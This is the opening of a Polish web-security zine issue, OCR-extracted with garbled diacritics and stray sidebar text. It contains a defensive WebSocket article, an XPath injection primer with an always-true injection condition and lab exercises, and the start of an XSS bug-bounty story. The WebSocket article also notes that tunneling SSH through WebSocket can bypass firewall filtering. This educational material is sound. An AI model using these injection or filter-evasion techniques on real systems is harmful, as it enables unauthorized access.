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CIAG DALSZY PRZYGODY...

Dtugo czekaliscie na #3 numer sekurakowego zina i oto on.

Podobnie jak poprzednio, trzymamy sie tematyki bezpieczen-
stwa aplikacji webowych. W trzecim numerze znajdziecie kil-
ka tekstow podstawowych (o WebSocket / XPath injection),
ale réwniez cos$ bardziej zaawansowanego - tutaj prezentu-
jemy trzyczesciowy artykut o problemach zwigzanych z dese-
rializacjg w jezyku Java.

Nowos¢: mamy dla Was kody rabatowe na kilka wydarzen od-
bywajacych sie w 2017 roku (ostatnia strona zina).

Macie pytania? Prosby? Chcielibyscie podzieli¢ sie uwagami?
Czekamy na kontakt od Was (sekurak@sekurak.pl).

Tresci zamieszone w Sekurak/Offline stuzg wytgcznie celom informacyjnym oraz
edukacyjnym. Nie ponosimy odpowiedzialnosci za ewentualne niezgodne z prawem
wykorzystanie materiatéw dostepnych w zinie oraz ewentualne szkody czy inne straty
poniesione w wyniku wykorzystania tych materiatéw. Stanowczo odradzamy dziatanie
niezgodne z prawem czy dobrymi obyczajami.

Wszelkie prawa zastrzezone. Kopiowanie dozwolone (a nawet wskazane)
—tylko w formie niezmienionej i w catosci.
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Protokot
WebSocket

Marcin Piosek

Czy wykorzystanie WebSockets moze by¢
zwigzane z nowymi zagrozeniami bezpie-
czenstwa? Jak dziala protokét, jak przed-
stawi¢ najwazniejsze zagrozenia zwigza-
ne z jego zastosowaniem?

Analiza ransomware napisanego
w 100% w Javascripcie - RAA

Rafat 'blgde' Janicki
Ransomware RAA - jest to pierwsze tego
rodzaju oprogramowanie napisane w ca-
toSci w jezyku JavaScript, wigcznie z algo-
rytmem szyfrujgcym pliki na dysku kom-
putera ofiary.

Java vs deserializacja niezaufanych
danych. Czes¢ 1
Mateusz Niezabitowski

Pierwszy z cyklu trzech artykuléw po-
Swieconych deserializacji. Na poczatku
sprébujemy zastanowic¢ sie, czy niezaufa-
ne dane pochodzace od uzytkownika po-
winny spedzaé nam sen z powiek.

Czym jest
XPATH injection?
Michat Sajdak

XPath injection to dos¢ rzadka podatnosg¢;
jednak ze wzgledu na jej ciekawg specyfi-
ke i niekiedy mozliwo$¢ uzycia przy wy-
korzystaniu innych luk - jest warta naszej
uwagi.

Metody omijania mechanizmu

Content Security Policy (CSP)
Adrian 'Vizzdoom' Michalczyk

Technologia CSP spedza sen z powiek
crackerom. Zdarza sie jednak, ze ograni-
czenia sg mato restrykcyjne, otwierajac
napastnikom furtke w mechanizmach
bezpieczenstwa.

Java vs deserializacja niezaufanych
danych. Czes¢ 2
Mateusz Niezabitowski

Kontynuujemy naszg przygode z deseria-
lizacjg niezaufanych danych. W tej odsto-
nie bedziemy pochyla¢ sie nad przypad-
kami, w ktérych warunki exploitacji nie
sg speinione.

Google Caja i XSS-y - czyli jak dostac
trzy razy bounty za (prawie) to samo
Michat Bentkowski

Historia trzech XSS-6w zgloszonych kor-
poracji Google w ramach programu bug
bounty. Kazde z nich mialy swoje Zrédio
w mozliwosci wyjScia z sandboksa w na-
rzedziu Google Caja.

Nie ufaj
X-Forwarded-For
Patryk Krawaczyniski

XFF wydaje sie skuteczng metoda iden-
tyfikacji oryginalnego adresu IP klienta,
mimo tego nie powinnidmy na Slepo ufaé
wartosciom pochodzgcym z tego nagtow-
ka, dlaczego? Dowiecie sie z artykutu.

Java vs deserializacja niezaufanych
danych. CzeSc¢ 3
Mateusz Niezabitowski

Ostatnia cze§¢ cyklu poswieconego dese-
rializacji. Tym razem odpowiemy sobie na
najwazniejsze pytanie — w jaki sposéb za-
bezpieczy¢ tworzong aplikacje przed tego
typu atakami?

SEKURAK.PL / [IFEEINE




¥» B

Marcin Piosek

[(TYTT el | SREDNI | ZAAWANSOWANY |

Protokol WebSocket

Jakie zagrozenia wigzg sie z wykorzystaniem WebSockets? W artykule
omawiana jest zasada dziatania protokotu oraz najwazniejsze kwestie
dotyczace jego bezpiecznego wykorzystania. Oprocz wiedzy teoretycz-
nej przedstawiono réwniez wskazéwki mogace poméc w praktycznym
testowaniu aplikacji wykorzystujacych opisywang technologie.

Dynamiczny rozwéj aplikacji WWW doprowadza do sytuacji, w ktérej juz od jakiegos
czasu pojawia sie zapotrzebowanie na wprowadzenie mozliwosci asynchronicznej
wymiany danych pomiedzy klientem a serwerem aplikacji.

Wykorzystywany powszechnie protokét HTTP jest bezstanowy, opiera sie na
zapytaniu wysytanym do serwera oraz udzielanej odpowiedzi, brak tutaj stanow
posrednich.

Jednym z zaproponowanych rozwigzan - rozszerzajacych dotychczasowe mozli-
wosci — jest technika long polling.

W przypadku serweréw HTTP klient musi zatozy¢, ze serwer moze nie odpowie-
dzie¢ na zadanie od razu. Z kolei strona serwerowa takiej komunikacji zaktadata, ze
w przypadku braku danych do wysfania nie wysle pustej odpowiedzi, ale zaczeka
do momentu, w ktérym te dane sie pojawia. Inng mozliwoscia jest wykorzystanie
zapytan asynchronicznych (XHR), jednak tutaj uzyskanie efektu komunikacji dwu-
kierunkowej (z jak najmniejszym opo6znieniem) uzyskiwane jest kosztem zwieksze-
nia ilosci zapytan do serwera.

W zwiagzku z zapotrzebowaniem na implementacje prawdziwej dwukierun-
kowej komunikacji, w aplikacjach WWW zaproponowano wdrozenie protokotu
WebSocket.

CZYM JEST I JAK DZIALA PROTOKO: WEBSOCKET

WebSocket jest protokotem opartym o TCP, zapewniajagcym dwukierunkowa
(ang. full-duplex) komunikacje pomiedzy klientem a serwerem. Po zestawieniu po-
taczenia obie strony moga wymienia¢ sie danymi w dowolnym momencie poprzez
wystanie pakietu danych.

Strona rozpoczynajgca komunikacje wysyta do serwera zadanie inicjalizujace
potaczenie (ang. handshake). Zadanie to, ze wzgledu na kompatybilno$¢ z serwera-
mi WWW, jest niemal identyczne jak standardowe zapytanie HTTP:

Listing 1. Zapytanie inicjujace potaczenie WebSocket

GET /chat HTTP/1.1

Host: server.example.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: dGhl1IHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat
Sec-WebSocket-Version: 13

Takie zapytanie informuje serwer WWW o checi nawigzania potaczenia z wyko-
rzystaniem protokotu WebSocket (nagtéwek Upgrade). W pierwszej chwili uwage
przykuwa réwniez nagtéwek Sec-WebSocket-Key, zawierajacy ciag zakodowany
zwykorzystaniem algorytmu Base64. Sugeruje to, ze moze znajdowac sie tam klucz,
ktory zostanie pozniej wykorzystany do szyfrowania komunikacji. Jego faktyczne
zastosowanie ma jednak na celu jedynie ominiecie probleméw zwigzanych z pa-
miecia podreczng (ang. cache), a w praktyce zawiera cigg losowo wygenerowanych
danych. W odpowiedzi na tak przygotowane i wystane zadanie serwer aplikacji od-
powiada w nastepujacy sposéb:

Listing 2. Odpowiedz serwera informujaca o mozliwosci nawigzania potaczenia

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: HSmrc@sM1YUKAGmm50OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

Kod odpowiedzi 101 oznacza, ze serwer wspiera protokét WebSocket i wyraza
zgode na nawigzanie potaczenia. Podobnie jak w przypadku zadania, odpowiedz
réwniez zawiera ciag znakéw zakodowanych w Base64. W tym przypadku jest to
wynik funkcji skrotu SHA-1 na wystanym wczesniej ciggu znakéw z nagtéwka
Sec-WebSocket-Key potagczonym ze statym GUID-em (https://tools.ietf.org/html/
rfc6455#section-4.1),258EAFA5-E914-47DA-95CA-C5ABODC85B11"”. Po pomys$inym
zakonczeniu nawigzywania pofaczenia dalsza komunikacja odbywa sie poprzez
socket TCP juz z pominieciem protokotu HTTP.
Ramka WebSocket wyglada nastepujaco:
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Rysunek 1. Przyktad ramki danych protokotu WebSocket (Zrédto: https://tools.ietf.org/html/rfc6455)

Na tym etapie interesujg nas gtéwnie pola opcode oraz payload data.Opcode de-
finiuje, w jaki sposdb powinny by¢ interpretowane dane przestane w payload data.
Najwazniejsze wartosci, jakie moze przyjac pole opcode, przedstawiono w Tabeli 1.

Pakiet zawiera dane tekstowe
Pakiet zawiera dane binarne
Strona biorgca udziat w komunikacji chce zakonczy¢ pofaczenie
Komunikat,ping”
0 Komunikat,pong”

- O 0 N -

Tabela 1. Przyktadowe wartosci, jakie moze przyjqgc pole opcode

Pozostate, niewymienione tutaj wartosci omoéwione sg m.in. w dokumencie RFC
6455 (https://tools.ietf.org/html/rfc6455#section-5.2).

Osobny akapit nalezy poswieci¢ bitowi mask oraz polu masking-key. Zgodnie
ze standardem, kazdy z wysytanych pakietow od klienta do serwera, musi posiadac
ustawiony bit mask. W przypadku, gdy zostanie on ustawiony, w polu payload nie
zostang umieszczone przesytane dane w postaci jawnej, ale ich ,zamaskowana” po-
stac. Przez ,zamaskowanie” mamy na mysli wynik dziatania funkcji XOR na ciggach
znakow z pola masking-key oraz wysytanych danych. Powstaje tutaj pytanie, jaka

wartos¢ do catego procesu wnosi wykonanie takiej operacji? Pytanie jest zasadne,
poniewaz z punktu widzenia poufnosci przesytanych danych, wartos¢ dodana jest
zadna. Klucz szyfrujacy znajduje sie tuz przed ,zamaskowanymi” danymi, przez co
odczytanie tak przesytanego szyfrogramu, nalezy traktowac jako proste zadanie.
W dokumencie RFC mozemy znaleZ¢ jednak informacje o tym, ze wykorzystanie ta-
kiego mechanizmu, wprowadza ochrone przed ,cache poisoning” (https://tools.ietf.
org/html/rfc6455#section-10.3) — atakami majacymi na celu wptyniecie na pamie¢
podreczna réznego typu serwerdw proxy.

Jak wyglada przyktadowa ramka w praktyce? Wysytajac do serwera ciag znakéw,,Se-
kurak’, mozemy przechwyci¢ nastepujacy pakiet (np. przy pomocy narzedzia Wireshark):

Rysunek 2. Przyktadowy pakiet danych WebSocket

Widzimy tutaj, ze opcode przyjat wartos¢ 1, co oznacza, ze wysytamy tekst. Wysyta-
ny cigg ma 7 znakéw (111 binarnie), co zgadza sie z dtugoscia payloadu (Sekurak).
Dodatkowo, pakiet ma rowniez ustawiony bit mask oraz 32 bitowy masking-key.
Ostatnie 7 bajtéw to ,zamaskowane” dane.

Co wazne, Wireshark potrafi rozpozna¢ pakiet WebSocket i zaprezentowac
w czytelny sposdb poszczegdlne jego czesci:

Rysunek 3. Poszczegdlne czesci pakietu WebSocket rozpoznane przez program Wireshark
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Wykorzystujac prosty skrypt Pythona, mozemy skonfrontowad teorie z prak-
tyka. Nasz ,zamaskowany” payload ma nastepujacg posta¢ heksadecymalna:
9d5376f1bc5776, zgodnie z tym, co wida¢ w polu masking-key, wykorzystany
klucz to: ce361d84.

Listing 3. Rozszyfrowywanie przesytanych danych

>>> from itertools import cycle, izip
>>> def xor_strings (payload, key):
key = cycle(key)
return ''.join(chr(ord(x) ~ ord(y)) for (x,y) in izip(payload, key))

>>> key = "ce361d84"

>>> payload = "9d5376f1bc5776"

>>> xor_strings(payload.decode("hex"),key.decode("hex"))
'Sekurak

>>>

Wyglada na to, ze wszystko dziata zgodnie z zatozeniem.

PROSTY KLIENT

W kolejnym kroku warto pozna¢ dziatanie WebSocket w praktyce. W tym celu,
mozna wykorzysta¢ prostego klienta napisanego w JavaScript oraz serwer echo,
udostepniany przez spotecznos¢ websocket.org (https://www.websocket.org/echo.
html). W stosunku do oryginatu, kod zostat minimalnie przystosowany do naszych
potrzeb:

Listing 4. Przykladowy kod prostego klienta WebSocket
(zrédto: https://www.websocket.org/echo.html)

<!DOCTYPE html>

<meta charset="utf-8" />
<title>WebSocket Test</title>

<head>

<script>

var wsUri = "wss://echo.websocket.org/";
var output;

function init() {
output = document.getElementById("output");
testWebSocket();
document.getElementById("data").focus();

document.getElementById("data").addEventListener('keypress', function(e) {
var key = e.which || e.keyCode;

if (key === 13) {
doSend(document.getElementById("data").value);
document.getElementById("data").value = "";

}
1)
}

/* inicjalizacja polaczenia z serwerem oraz przypisanie funkcji do
najwazniejszych zdarzen */
function testWebSocket() {

websocket = new WebSocket(wsUri);

websocket.onopen = function(evt) {

onOpen(evt)
5

websocket.onclose = function(evt) {
onClose(evt)

¥

websocket.onmessage = function(evt) {
onMessage(evt)

3
websocket.onerror = function(evt) {
onError(evt)

3

}

/* funkcja wywotywana przy zestawieniu potaczenia */
function onOpen(evt) {

writeToScreen("CONNECTED");

doSend("WebSocket rocks");

}

/* funkcja wywotywana przy zamknieciu potgczenia */
function onClose(evt) {
writeToScreen("DISCONNECTED");

}

/* funkcja wywolywana przy nadejsciu nowej wiadomosci */
function onMessage(evt) {

writeToScreen('<span style="color: blue;">'
+ 'RESPONSE:' + evt.data + '</span>');

}

/* funkcja wywolywana przy wystgpieniu btedu */
function onError(evt) {

writeToScreen('<span style="color: red;">"'
+ 'ERROR:</span>' + evt.data);

}

/* funkcja wywolywana przy probie wystania wiadomosci */
function doSend(message) {
writeToScreen("SENT: " + message);
websocket.send(message);

}
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/* funkcja pomocnicza wypisujaca tekst */

function writeToScreen(message) {
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);

}

window.addEventListener("load", init, false);

</script>

</head>

<body>

<h2>WebSocket Test</h2>
<div id="output"></div>
<input id="data"></div>
</body>

</html>

Zapisujac skrypt w pliku pod dowolng nazwg z rozszerzeniem .html i otwierajac
plik w przegladarce wspierajacej protokdt WebSocket, nawigzemy automatycz-
nie potaczenie z serwerem echo. Zaleca sie wykorzystanie przegladarek opartych
o Chromium (np. Google Chrome), ze wzgledu na rozbudowane funkcje zwigzane
zWebSocket dostepne w konsoli developerskiej.

Rysunek 4. Wiadomosci wymienione z serwerem WebSocket

Wpisujac dowolny cigg znakéw w pole tekstowe, mozemy go wysta¢ do serwera
poprzez wcisniecie przycisku Enter. Aby podejrze¢ ramki wygenerowane przez
przegladarke, oraz odebrane z serwera, mozna wykorzysta¢ Google Developer To-
ols (Konsola deweloperska -> Zaktadka Network -> pozycja echo.websocket.org
w kolumnie Name -> zaktadka Frames):

Rysunek 5. Ramki danych przechwycone w konsoli developerskiej

ZAGROZENIA

Ponizej opisujemy najwazniejsze zagrozenia zwigzane z wykorzystaniem proto-
kotu WebSocket. Zostaty one zmapowane na najczestsze podatnosci wystepujace
w aplikacjach internetowych wymienione na liscie OWASP Top 10. Intencja nie jest
zachowanie kolejnosci czy doktadnego podziatu, ale potraktowanie wspomniane;j
listy jako punktu odniesienia do najwazniejszych podatnosci zwigzanych z oma-
wianym protokotem. Przystepujac do dalszej lektury, nalezy zdawa¢ sobie sprawe
z faktu, ze WebSocket nie jest niczym innym, jak kolejnym sposobem na przesyfanie
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danych poprzez sie¢. Decyzja o tym, co dzieje sie zdanymi przesytanymi w ten spo-
sob, zalezy juz w zupetnosci od aplikacji wykorzystujacej ten protokot.

Same-origin policy

Praktyczna proba wykorzystania WebSocket celowo zostata umieszczona zaraz
za wstepem teoretycznym. Jezeli wymienilismy kilka wiadomosci z serwerem echo,
powinno nas zastanowi¢ to, ze bez problemu nawiagzaliSmy potaczenie, a co waz-
niejsze: otrzymaliémy odpowiedz od zewnetrznego serwera. Dlaczego nie zaprote-
stowat mechanizm Same-origin policy (SOP)?

Jednym z gtéwnym zagrozen, jakie nalezy rozwazy¢ w przypadku wykorzystania
WebSocket, jest kwestia Same-origin policy, a doktadniej w tym przypadku - braku
jej zastosowania. Mowiac inaczej, potagczenia WebSocket nawigzywane z przegla-
darek internetowych nie sa obarczone zadnymi ograniczeniami co do miejsca, do
ktérego chcemy nawigzac¢ potaczenie. W przypadku zapytan HTTP, zastosowanie
ma SOP oraz ewentualnie rozluznienia tej polityki w postaci odpowiednich zasad
Cross-Origin Resource Sharing (CORS). Tutaj nie mamy takich ograniczen. Obecnie
jedynym sposobem na to, by okietzna¢ potaczenie WebSocket, jest zastosowanie
Content Security Policy (CSP) poprzez dyrektywe connect-src.

Niepoprawne zarzqdzanie uwierzytelnieniem oraz sesjq

WebSocket w zaden sposéb nie implementuje bezposrednio mechanizmu uwie-
rzytelnienia (ang. authentication). Tak samo - jak w HTTP - ciezar weryfikacji tozsa-
mosci klienta lezy po stronie aplikacji opartej o ten protokoét.

Ominiecie autoryzacji

Podobnie jak w przypadku uwierzytelnienia, rowniez kwestie zwigzane z przy-
dzielaniem praw do zasobdw lezg po stronie aplikacji wykorzystujacej WebSocket.

WebSocket definiuje podobny do HTTP zestaw schematéw URL. Trzeba pa-
mietac, ze jezeli aplikacja nie wprowadzi odpowiedniego poziomu autoryzacji, to
- podobnie jak w przypadku zasobow HTTP pozostawionych bez uwierzytelnienia
- réwniez tutaj bedzie mozna przeprowadzi¢ ich enumeracje.

Projektujac aplikacje, wygodnie jest robi¢ pewne zatozenia, ktére znaczaco uprasz-
czajg kwestie zwigzane z implementacjg zabezpieczen. Przyktadem sytuaciji, kiedy
moze pojawic sie pokusa péjscia na skréty, jest obdarzenie nadmiernym zaufaniem
nagtéwkow wysytanych przez klienta, w tym przypadku szczegélnie mowa o nagtéw-

ku Origin. Nagtowek ten zawiera informacje o domenie, z ktérej wystane zostato
dane zadanie, i powinno sie go walidowac po stronie serwera. Jego wartos$¢ jest auto-
matycznie ustawiona poprzez przegladarki internetowe i nie moze zosta¢ zmieniona
np. poprzez kod JavaScript. Nalezy jednak pamieta¢, ze klientem nawigzujacym pota-
czenie moze by¢ dowolna aplikacja, ktérej juz to obostrzenie nie obowigzuje.

Wstrzykniecia i niepoprawna obstuga danych

W tym miejscu nalezy jeszcze raz przypomnie¢, ze WebSocket jest jedynie pro-
tokotem wymiany danych. Od programisty zalezy, jakie dane i w jakiej formie beda
przesytane. Na aplikacji natomiast spoczywa ciezar walidacji danych. Informacje
przestane tym protokotem, nie powinny by¢ traktowane jako zaufane i obstugiwane
tak samo jak dane przesytane innymi protokotami. Jezeli dane odbierane przez We-
bSocket maja trafi¢ do bazy danych, powinien zosta¢ wykorzystany mechanizm pre-
pared statements. W momencie, kiedy chcemy dofaczy¢ odebrane dane do drzewa
DOM, nalezy wczesniej zamieni¢ znaki kontrolne HTML na ich encje.

Wyczerpanie zasobow serwera

Uruchomienie serwera WebSocket, moze wigza¢ sie z koniecznoscig przemysle-
nia kwestii wyczerpywania zasobéw. Domyslinie, klient nie posiada wiasciwie zadnych
ograniczen co do ilosci nawigzanych potaczen. Otworzenie kilku kart w przegladarce
ztg sama aplikacjg wykorzystujacag WebSocket bedzie skutkowato nawigzaniem takiej
samej ilosci nowych potaczen. Logika chronigca przed nadmiernym wyczerpywaniem
zasobow musi zostac¢ zaimplementowana po stronie serwera lub infrastruktury.

Tunelowanie ruchu

Liczne Zrodta traktujace o WebSocket zawierajg informacje o tym, ze protokét
ten pozwala na tunelowanie dowolnego ruchu TCP. Jako przyktad takiego zasto-
sowania mozna zaprezentowac projekt wsshd (https://github.com/aluzzardi/wssh).
Dzieki niemu, instalujac kilka bibliotek i uruchamiajac skrypt na serwerze, mozemy
wystawic nasz serwer SSH w Swiat, pozwalajac na taczenie sie do niego wtasnie po-
przez WebSocket.

Listing 5. Instalacja i uruchomienie oprogramowania wsshd

git clone https://github.com/aluzzardi/wssh.git
cd wssh/
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pip install -r requirements_server.txt
python setup.py install
wsshd

Wsshd udostepnia klienta konsolowego, jak i interfejs WWW, dzieki ktéremu moze-
my potaczyc sie z serwerem SSH przez WebSocket:

Rysunek 6. Uruchomiony serwer wsshd

Zastosowanie takich rozwigzan otwiera nowe mozliwosci na omijanie filtrowania
ruchu sieciowego przez zapory ogniowe.

Szyfrowany kanal komunikacji

Podobnie jak w przypadku HTTP, wykorzystujac WebSocket, mozemy zadecydo-
wa¢, czy dane majg by¢ wysytane szyfrowanym kanatem komunikacji (TLS), czy nie.
Dla zastosowan wykorzystujacych szyfrowanie przygotowany zostat protokdt wss
(np. wss://sekurak.pl).

GOTOWE ROZWIAZANIA
W praktyce, mato kto decyduje sie na wykorzystanie natywnej implementacji

WebSocket poprzez podstawowy interfejs JavaScript dostarczany w przegladar-

kach. Popularniejszymi podejsciami jest po prostu wykorzystanie gotowych biblio-

tek i frameworkow.
Najciekawsze z nich to:

» Socket.io — jedno z najbardziej znanych rozwigzan tego typu, rozwijane od 2010r.
Czesc serwerowa napisana jest w Node.js (http://socket.io/).

» Ratchet - co$ dla 0séb chcacych pozostac przy rozwigzaniach opartych o PHP
(http://socketo.me/).

» WebSocketHandler — klasa dostepna w srodowisku .NET od wersji 4.5 (https://
msdn.microsoft.com/en-us/library/microsoft.aspnet.signalr.websockets.we-
bsockethandler(v=vs.118).aspx).

» Autobahn - jezeli operujemy w $rodowisku Python, na pewno warto zaintere-
sowac sie ta biblioteka. Biblioteka ta posiada réwniez swoje implementacje dla
innych technologii, np. Node.js, Java, C++ (http://autobahn.ws/).

W przypadku wtasnych implementacji, nalezy pamieta¢ m.in. o takich kwestiach jak
zarzadzanie pamiecia.

TESTOWANIE

Do przechwytywania ruchu i modyfikacji zapytan wysytanych poprzez
WebSocket zdecydowanie zaleca sie wykorzysta¢ OWASP Zaproxy (https://
github.com/zaproxy/zaproxy/wiki/Downloads). Wsparcie dla WebSocket w Burp
Suite jest w powijakach, dostepne mozliwosci ograniczaja sie wiasciwie tylko do
podstawowego przechwytywania zapytan oraz wyswietlania listy wykonanych za-
dan i otrzymanych odpowiedzi. Aby wykorzysta¢ Zapa do testow, nalezy pobrac
plik JAR i upewnic sie, ze po uruchomieniu proxy nastuchuje na porcie 8080 (Tools
-> Options -> zaktadka Local Proxy -> pole Port). Nastepnie nalezy skonfigurowac
nasza przegladarke tak, by ruch sieciowy wysytat do proxy localhost:8080 (wska-
zowki, jak skonfigurowac ustawienia proxy w popularnych przegladarkach, mo-
zemy znalez¢ m.in. na stronie https://www.lib.ucdavis.edu/ul/services/connect/
proxy/step1/).

Po skonfigurowaniu przegladarki i ponownym otworzeniu pliku z przyktado-
wym klientem WebSocket w proxy powinna pojawic sie nowa zaktadka:
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Rysunek 7. Widok zaktadki WebSocket w OWASP Zaproxy

Bedzie to miejsce, w ktérym znajdziemy informacje o kazdej ramce wystanej z apli-
kacji, jak i otrzymanej z serwera. Klikajac na wybranej pozycji z listy prawym przy-
ciskiem myszy, pojawi sie menu, z ktérego bedziemy mogli wybra¢ opcje ,Resend”:

Rysunek 8. Opcja Resend wywotujgca formularz pozwalajgcy na modyfikacje ramki danych

W nowym oknie bedziemy mieli do wyboru kilka przydatnych opgji:

Rysunek 9. Formularz pozwalajgcy na edycje ramki danych

»

»

»

Opcode -z listy rozwijanej mozemy wybrac takie opcje jak TEXT, BINARY, CLOSE,
PING oraz PONG. W ten sposob jestesmy w stanie zasymulowac kazdy z etapow
komunikacji, jaki moze wystapi¢ w przypadku protokotu WebSocket.

Direction - kierunek, w ktorym ma zosta¢ wystana ramka (do serwera — Outgo-
ing, Incoming - do aplikacji)

Channel - lista, w ktérej mozemy wybra¢, ktérego potaczenia dotycza modyfika-
cje (jezeli w danym momencie mamy nawigzane wiecej niz jedno)

Wprowadzone przez nas zmiany zatwierdzamy przyciskiem ,Send”.

Pokazane tutaj opcje sa namiastka narzedzia Repeater z Burp Suite, ktére czesto

wykorzystywane jest do modyfikacji zagdan HTTP.

MODELOWANIE ZAGROZEN

Na zakonczenie, przedstawiamy przyktadowaq liste zagadnien wymagajacych

analizy podczas modelowania zagrozen aplikacji wykorzystujacej WebSocket:

»
»

»

»

»

»

Czy wykorzystywany jest szyfrowany kanat komunikacji (wss)?

Czy dane odbierane od klienta poprzez protokot WebSocket sg odpowiednio
walidowane?

Czy wykorzystany serwer WebSocket ogranicza ilos¢ mozliwych réwnolegtych
potaczen od jednego klienta?

W jaki sposob realizowane jest uwierzytelnienie oraz autoryzacja do zasobéw
udostepnianych poprzez WebSocket?

Czy wykorzystany jest znany serwer WebSocket, czy autorskie rozwigzanie? Czy
autorski serwer przeszedt etap weryfikacji bezpieczenstwa?

Czy posiadamy wdrozong polityke CSP limitujacg zrodta, z jakimi mozemy na-
wigzac potaczenie?
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» Czy po stronie serwera walidowany jest nagtowek Origin, dodatkowo uwzgled- SEKURAK.PL / (TN

niajac fakt, ze moze zosta¢ on zmanipulowany w przypadku zastosowania klien-
ta niebedacego przegladarka internetowg?

» Czy wykorzystana jest gotowa biblioteka obstugujgca cze$¢ kliencka oraz serwe- | Protokét WebSocket
rowg odpowiedzialng za protokét WebSocket?

» (Czy zapora ogniowa dopuszcza ruch sieciowy do portu, na ktérym nastuchuje
serwer WebSocket, tylko z okreslonych zrodet?

Czym jest XPATH injection?

Google Caja i XSS-y
- czyli jak dostac trzy razy bounty

PODSUMOWANIE za (prawie) to samo

WebSocket jest ciekawym rozwigzaniem, ktére w dobie ,bogatych” aplikagji
WWW moze znalez¢ wiele zastosowan, chociazby w przypadku aplikacji, gdzie uzyt- Analiza ransomware napisanego
kownicy jednoczes$nie pracuja nad tym samym zestawem danych. Niemniej nalezy 100% w Javascripcie — RAA
pamietad, ze z perspektywy bezpieczenstwa jest to tylko nosnik danych, a ciezar
odpowiedniego obchodzenia sie z nimi, podobnie jak w przypadku HTTP, lezy po Metody omijania mechanizmu
stronie aplikacji. Content Security Policy (CSP)
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Czym jest XPATH injection?

O XPATH (XML Path Language) pisaliSmy w kontekscie jego mozliwego wy-
korzystania w niektérych przypadkach podatnosci SQL injection. W tym
artykule zajmiemy sie dla odmiany podatnoscig XPATH.

Podatnos¢ XPATH injection jest pewnym stopniu podobna do SQL injection:

» w podobny sposéb wyglada testowanie na obecnos¢ luki (oczywiscie trzeba pa-
mietac, ze mamy tu do czynienia ze sktadnig XPATH — a nie z SQL),

» dzieki wykorzystaniu podatnosci rowniez mozna uzyskac nieautoryzowany do-
step do catej,bazy danych” (w tym przypadku jest to plik XML),

» w koncu - rowniez mamy tu warunki (odpowiednik WHERE z SQL-a) oraz czesto
wykorzystywany w SQLi operator,,UNION” (w XPATH jest to znak: | - czyli pipe).

Jesli chodzi o réznice — XPATH injection wystepuje znacznie rzadziej od SQL injec-
tion (XPATH to jednak dos¢ niszowy mechanizm), nie da sie tutaj uzyskac¢ uprawnien
na poziomie systemu operacyjnego czy uzyska¢ dostep w trybie ,zapisu” do pliku.
Jak juz wspomniatem - w poréwnaniu z SQL-em mamy réwniez inng sktadnie sa-
mych zapytan.

Ponizsze informacje podane sa jedynie w celach edukacyjnych.

Ewentualne testy z wykorzystaniem zamieszczonych tu informacji nalezy realizowac¢ jedy-
nie na systemach, ktérych bezpieczenstwo mozemy oficjalnie sprawdzac.

ZAPYTANIA XPATH

Mate przypomnienie czym jest XPATH. Otz jest to mechanizm umozliwiajacy po-
bieranie z pliku XML wybranego fragmentu. Zobaczmy przyktadowe zapytanie XPATH,
ktére w swoim tutorialu prezentuje w3schools (zapytanie widoczne jest w prawym
goérnym rogu na Rysunku 1).

Jak widzimy, rozpoczyna sie ono znakiem / (slash), warunki (odpowiednik WHE-
RE z SQL) - mozna znalez¢ w nawiasach kwadratowych, z kolei ostatni element po
slashu to wskazanie jakie konkretne dane chcemy pobra¢ z XML-a (w przykfadzie
powyzej sg to tytuty ksigzek). Zapytanie powyzej zwraca zatem cigg bedacy tytuta-
mi dwoch ksigzek, ktérych cena jest wieksza od 35:

Rysunek 1. Przyktadowe zapytanie XPath

XPATH, poza prostymi zapytaniami jak powyzej, umozliwia uzycie w zapytaniu funkgcji

realizujgcych:

» operacje matematyczne (np. round, abs)

» operacje na ciaggach znakowych (np. substr, string-length)

» operacje na strukturze XML-a (np. funkcja name(.) zwraca nazwe tzw. biezacego
wezta)

» itd.

Przyktad zapytania z funkcja:

Rysunek 2. Uzycie funkcji w XPATH
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Pobierze ono ceny wszystkich ksigzek — poniewaz warunek w nawiasach kwa- SEKURAK.PL / (TN

dratowych jest zawsze prawdziwy:

» fragment title="test’ jest zawsze fatszywy (nie mamy ksigzki o takim tytule)

» fragment name(.)="book’jest zawsze prawdziwy - nazwa biezagcego wezta w XML Protokot WebSocket
jest zawsze w tym kontekscie rowna book

| Czym jest XPATH injection?

Jeszcze innym przydatnym operatorem w XPATH jest | (pipe). Dziata on podobnie

do operatora UNION z SQL - tj. faczy sumuje zapytan XPATH. Przykfad: e (e 1S5

- czyli jak dostac trzy razy bounty
za (prawie) to samo

Analiza ransomware napisanego

0 incie —
Rysunek 3. Uzycie znaku | w XPATH 100% w -’CIVCISCI’IPCIG RAA

Takie zapytanie po prostu wyswietli wszystkie zawartosci tagdéw <year> oraz <title> Metody omijania mechanizmu

z pliku XML widocznego na wcze$niejszym zrzucie. Content Security Policy (CSP)
W porzadku, zobaczmy wiec jak wyglada przyktadowe wstrzykniecie XPATH (Ry-

sunek 4). Mozna je tez zobaczyc¢,na zywo” w tym miejscu. Nie ufaj X-Forwarded-For

CZAS NA ZADANIE PRAKTYCZNE Java vs deserializacja

niezaufanych danych.

Nasze zadania: p
Czesc 1: podstawy

1. Wyswietl wszystkie podsystemy statku tutaj.

2. Pobierz kod aktywujacy backdoor na statku kosmicznym.

3. Pobierz cata strukture XMLa, w ktérym przechowywane sg informacje o sybsys-
temach statku.

Java vs deserializacja
niezaufanych danych. Czes¢ 2:
mniej typowe metody ataku

Java vs deserializacja
Mitej zabawy :-) niezaufanych danych. Czes¢ 3:
metody obrony

Rysunek 4. Przyktad XPATH injection

Michat Sajdak, radaktor i zatozyciel sekurak.pl oraz rozwal.to. Realizuje testy
penetracyjne, prowadzi szkolenia z bezpieczenstwa IT w Securitum
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Google Caja i XSS-y - czyli jak dostac trzy
razy bounty za (prawie) to samo

W niniejszym artykule opisuje trzy XSS-y, ktore zglaszalem do Google
w tym roku w ramach ich programu bug bounty. Wszystkie z nich miaty
swoje zrodto w mozliwosci wyjscia z sandboksa w narzedziu Google Caja.

WSTEP

Na poczatku tego roku jako swoj cel dla bug bounty postawitem sobie znane wszyst-
kim aplikacje z Google Docs. Jedna z wielu mozliwosci, ktére one oferujg, jest mozliwosc¢
